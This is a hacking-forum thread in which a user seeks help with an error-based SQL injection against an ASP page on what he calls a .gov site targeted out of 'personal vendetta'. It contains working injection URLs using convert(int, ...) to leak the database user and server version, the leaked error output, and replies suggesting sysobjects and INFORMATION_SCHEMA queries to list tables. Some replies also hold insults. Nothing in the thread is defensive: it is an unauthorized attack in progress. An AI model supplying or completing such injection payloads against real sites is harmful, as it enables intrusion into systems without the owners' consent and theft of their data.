Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

MsSQLi

I'm following this guide http://www.exploit-db.com/papers/12975/

But I can't seem to get the tables, Anybody know?

site.com/toolbox/desktop/opencourse.asp?Group=34+and+1=convert(int,user_name())--&MemberId=277469&Role=S&Course=23

and the error that is thrown is

Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'asc' to data type int.
/toolbox/desktop/opencourse.asp , line 227

With site.com/toolbox/desktop/opencourse.asp?Group=34+and+1=convert(int,(select+top(1)+table_name+from+information_schema))--&MemberId=277469&Role=S&Course=23

Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'top'.
/toolbox/desktop/opencourse.asp , line 227

The version is
Microsoft SQL Server 2008 R2 (SP1) - 10.50.2550.0 (X64) Jun 11 2012 16:41:53 Copyright © Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.
Hiring PHP developers does not contribute to the quota of employees with disabilities.
[Image: lPQX27G.png]
(May 17, 2015 08:27 PM)♕ Pimp ♕ Wrote:  you're a waste of my time and giving me cancer.
maybe,u can give me the site hahahaha
(Oct 10, 2013 02:05 AM)ZakyZerra Wrote:  maybe,u can give me the site hahahaha

You have made 1 thread about SQLi. And it was asking for help

So no. Even though I don't really care about it, It's le .gov site and le personal vendetta
Hiring PHP developers does not contribute to the quota of employees with disabilities.
[Image: lPQX27G.png]
(May 17, 2015 08:27 PM)♕ Pimp ♕ Wrote:  you're a waste of my time and giving me cancer.
I've always wanted to learn how to inject mssql :L
This wouldn't happen to be anything to do with Australia, would it?
you alredy have get the first table

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword '[b]top[b]'.
/toolbox/desktop/opencourse.asp , line 227
(Oct 10, 2013 02:25 AM)Sʜᴀᴅᴏᴡ Rᴇᴀʟᴍ Wrote:  You have made 1 thread about SQLi. And it was asking for help

So no. Even though I don't really care about it, It's le .gov site and le personal vendetta

follow me https://twitter.com/_anuitu_
i will help u
Have you tried to select it from sysobjects instead?

Code
SELECT name FROM sysobjects where type = 'u'

Alternatively have a go with:

Code
select top(1) table_name from INFORMATION_SCHEMA.TABLES


Possibly Related Threads...
Thread / Author Replies Views Last Post
by RTSecurityMay 8, 2013 02:58 PM 10 523 May 8, 2013 02:58 PM
Last Post: ~!White!~
by SolainApr 13, 2013 02:43 PM 14 308 Apr 13, 2013 02:43 PM
Last Post: Solain
by orunuMay 24, 2012 03:23 AM 3 106 May 24, 2012 03:23 AM
Last Post: Th3PonyWizard